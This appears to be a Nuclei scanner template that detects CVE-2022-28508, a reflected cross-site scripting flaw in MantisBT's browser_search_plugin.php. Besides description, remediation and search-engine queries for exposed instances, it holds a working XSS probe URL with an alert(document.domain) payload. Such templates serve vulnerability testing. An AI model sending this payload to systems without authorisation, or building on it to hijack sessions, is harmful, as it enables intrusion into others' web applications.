CVE-2022-28508: MantisBT < 2.25.2 - Cross-Site Scripting

id: CVE-2022-28508

info:
  name: MantisBT < 2.25.2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    MantisBT before 2.25.2 contains a cross-site scripting vulnerability in browser_search_plugin.php. The application does not properly sanitize the 'type' parameter, which allows attackers to inject arbitrary web script or HTML via a crafted URL.
  impact: |
    Successful exploitation allows attackers to execute arbitrary JavaScript code in the context of a victim's browser,potentially leading to session hijacking, credential theft, or phishing attacks.
  remediation: |
    Upgrade to MantisBT version 2.25.2 or later which contains the fix for this vulnerability.If upgrading is not immediately possible, restrict access to the browser_search_plugin.php endpoint.
  reference:
    - https://github.com/YavuzSahbaz/CVE-2022-28508/blob/main/MantisBT%202.25.2%20XSS%20vulnurability
    - https://www.mantisbt.org/bugs/changelog_page.php
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28508
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-28508
    cwe-id: CWE-79
    epss-score: 0.05304
    epss-percentile: 0.92172
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"MantisBT"
    fofa-query: title="MantisBT"
  tags: cve,cve2022,mantisbt,xss,opensearch,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/browser_search_plugin.php?type=text%27%22()%26%25<acx><ScRiPt>alert(document.domain)</ScRiPt>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "<ShortName>"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/opensearchdescription"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cb2d260dd48805d6044692c46f2334adad382602707b3485cc158223d5336943022100c63b7bba8c03f4270399ef26eb265403c52edd544ac8ff773e04cbcafe5a35ac:922c64590222798bb761d5b6d8e72950

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